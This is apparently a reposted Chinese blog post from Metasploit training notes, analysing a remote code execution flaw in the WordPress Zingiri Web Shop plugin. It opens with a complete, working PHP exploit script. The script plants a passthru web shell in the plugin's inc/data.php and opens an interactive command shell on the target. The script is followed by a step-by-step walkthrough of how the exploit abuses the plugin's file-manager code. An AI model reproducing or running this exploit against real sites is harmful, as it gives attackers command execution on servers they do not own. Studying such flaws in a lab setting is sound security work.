Metasploit训练营中,Zingiri Web Shop插件漏洞分析
来源:互联网 发布:js 判断function 编辑:程序博客网 时间:2024/05/29 10:29
Wordpress Zingiri Plugin <= 2.2.3(ajax_save_name.php) Remote Code Excution 如下:
<?phperror_reporting(0);set_time_limit(0);ini_set("default_socket_timeout",5);$fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";function http_send($host, $packet){if(!($sock = fsockopen($host,80)))die("\n[-] No response from {$host}:80\n");fwrite($sock,$packet);return stream_get_contents($sock);}function get_root_dir(){global $host, $path, $fileman;$packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Connection: close\r\n\r\n";if(!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n [-] Root folder path not found!\n");return $m[1];}function random_mkdir(){global $host, $path, $fileman, $rootdir;$dirname = uniqid();$payload = "new_folder={$dirname}¤tFolderPath={$rootdir}";$packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";$packet .= "Host :{$host}\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Content-type: application/x-www-form-urlencoded\r\n";$packet .= "Connection: close\r\n\r\n{$payload}";http_send($host, $packet);return $dirname;}print "\n+------------------------------------------------------------------------------+";print "\n| Wodpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit|";print "\n+------------------------------------------------------------------------------+";if($argc < 3){print "\nUsage......: php $argv[0] <host> <path>\n";print "\nExample....: php $argv[0] localhost /";print "\nExample....: php $argv[0] localhost /wordpress/\n";die();}$host = $argv[1];$path = $argv[2];$rootdir = get_root_dir();$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";$payload = "selectedDoc[]={$phpcode}¤tFolderPath={$rootdir}";$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";$packet .= "Connection: close\r\n\r\n{$payload}";if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))die("\n[-] Session ID not found!\n");$dirname = random_mkdir();$newname = uniqid();$payload = "value={$newname}&id={$rootdir}{$dirname}";$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cookie: {$sid[1]}\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";$packet .= "Connection: close\r\n\r\n{$payload}";http_send($host, $packet); $packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cmd: %s\r\n";$packet .= "Connection: close\r\n\r\n";while(1){print "\nzingiri-shell# ";if (($cmd = trim(fgets(STDIN))) == "exit") break;preg_match("/_code_(.*)/s", http_send($host, sprintf($packet,base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");}?>
执行相关命令结果如下:
关于在 Linux 命令行中使用和执行 PHP代码,参考:https://linux.cn/article-5906-1.html
相关代码分析:
http_send()函数,顾名思义,用于发送http消息:
其中fsockopen函数用于打开一个网络连接或者一个Unix套接字连接,返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。
在http_send函数中,即调用fwrite()将packet写入。
最后返回http响应。
get_root_dir()函数,获取上传文件所在的根目录,后面用于存储上传的文件:
在ajaxfilemanager.php中,有如下代码:
<input type="hidden" name="currentFolderPath" value="<?=$folderInfo['path']; ?>" />
当访问ajaxfilemanager.php时,返回的代码为:
<input type="hidden" name="currentFolderPath" value="/owaspbwa/owaspbwa-svn/var/www/wordpress/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/../../../../../../../../../../uploads/zingiri-web-shop/" />
其中value值,即为需要的值,通过正则表达式截取。
random_mkdir()函数,在get_root_dir()函数获取的目录下创建一个文件夹,返回该文件夹名。
接下来下一段代码:
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";$payload = "selectedDoc[]={$phpcode}¤tFolderPath={$rootdir}";$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";$packet .= "Connection: close\r\n\r\n{$payload}";if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))die("\n[-] Session ID not found!\n");上述代码段访问的是ajax_file_cut.php,其中ajax_file_cut.php关键代码:
if(!isset($_POST['selectedDoc']) || !is_array($_POST['selectedDoc']) || sizeof($_POST['selectedDoc']) < 1){$error = ERR_NOT_DOC_SELECTED_FOR_CUT;}elseif(empty($_POST['currentFolderPath']) || !isUnderRoot($_POST['currentFolderPath'])){$error = ERR_FOLDER_PATH_NOT_ALLOWED;}else {require_once(CLASS_SESSION_ACTION);$sessionAction = new SessionAction();$sessionAction->setAction($_POST['action_value']);$sessionAction->setFolder($_POST['currentFolderPath']);$sessionAction->set($_POST['selectedDoc']);$info = ',num:' . sizeof($_POST['selectedDoc']);}echo "{error:'" . $error . "'\n" . $info . "}";
对数组selectedDoc进行了判断,并且$sessionAction->set($_POST['selectedDoc']);
后面在 ajax_save_name.php中会进行$sessionAction->get() 操作,取出当前POST的selectedDoc。
下一段代码:
$payload = "value={$newname}&id={$rootdir}{$dirname}";$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cookie: {$sid[1]}\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";$packet .= "Connection: close\r\n\r\n{$payload}";<pre name="code" class="php">http_send($host, $packet);访问了ajax_save_name.php,其中ajax_save_name.php关键代码:
$sessionAction = new SessionAction();$selectedDocuments = $sessionAction->get();if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments)){if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false){$selectedDocuments[$key] = $_POST['value'];$sessionAction->set($selectedDocuments);}echo basename($_POST['id']) . "\n";displayArray($selectedDocuments);} elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id'])){$sessionAction->setFolder($_POST['id']);}writeInfo(ob_get_clean());}
此处又对$selectedDoc进行了sizeof的判断
最关键的是displayArray($selectedDocuments)和writeInfo(ob_get_clean())
displayArray()的实现:
function displayArray($array, $comments=""){echo "<pre>";echo $comments;print_r($array);echo $comments;echo "</pre>";}
ob_get_clean()函数,得到当前缓冲区的内容并删除当前输出缓冲区。
ob_get_clean() 实质上是一起执行了 ob_get_contents() 和 ob_end_clean()。
writeInfo()的实现:
function writeInfo($data, $die = false){$fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');@fwrite($fp, $data);@fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );@fclose($fp);if($die){ die();}}
实际上,是将
selectedDoc[]={$phpcode}
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";写入了/inc/data.php中,
最后只要在http头中设置:base64_encode(将要远程执行的代码),并且发送给/inc/data.php即可。
在本次攻击中,用于执行外部命令的函数是 passthru函数。
END
- Metasploit训练营中,Zingiri Web Shop插件漏洞分析
- 《Metasploit 魔鬼训练营》04 Web 应用渗透测试
- 《Metasploit 魔鬼训练营》01 初识 Metasploit
- 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例MS08-067漏洞
- 【Metasploit魔鬼训练营--实践笔记】4.2.3 SQL 注入漏洞探测
- Metasploit常用web漏洞扫描模块
- 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例KingView 6.53版本CVE-2011-0406漏洞
- 《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透
- Metasploit渗透测试魔鬼训练营
- metasploit魔鬼训练营第一章笔记
- metasploit魔鬼训练营第一章实践作业
- 《Metasploit 魔鬼训练营》博客目录
- 《Metasploit 魔鬼训练营》07 社会工程学
- metasploit魔鬼训练营第一天笔记
- metasploit魔鬼训练营第二天笔记
- metasploit魔鬼训练营第三天笔记
- web漏洞常见分析
- Metasploit与漏洞扫描
- String的其他最佳实践
- epoll和select的区别
- Sublime Text3安装了Anaconda后,写Python代码出现白框的解决方案
- 解决!只有IE64位浏览器能上网,其他软件都上不了网
- Java抽象类和接口的学习
- Metasploit训练营中,Zingiri Web Shop插件漏洞分析
- 初高中物理学习笔记
- Linux进程基础
- linux删除文件空间未释放问题
- Arnold变换置乱图像
- 将字符串写入文件并读出来
- Map和List静态初始化
- 第七周--项目1建立环形队列算法库
- QVariant万能数据类型联合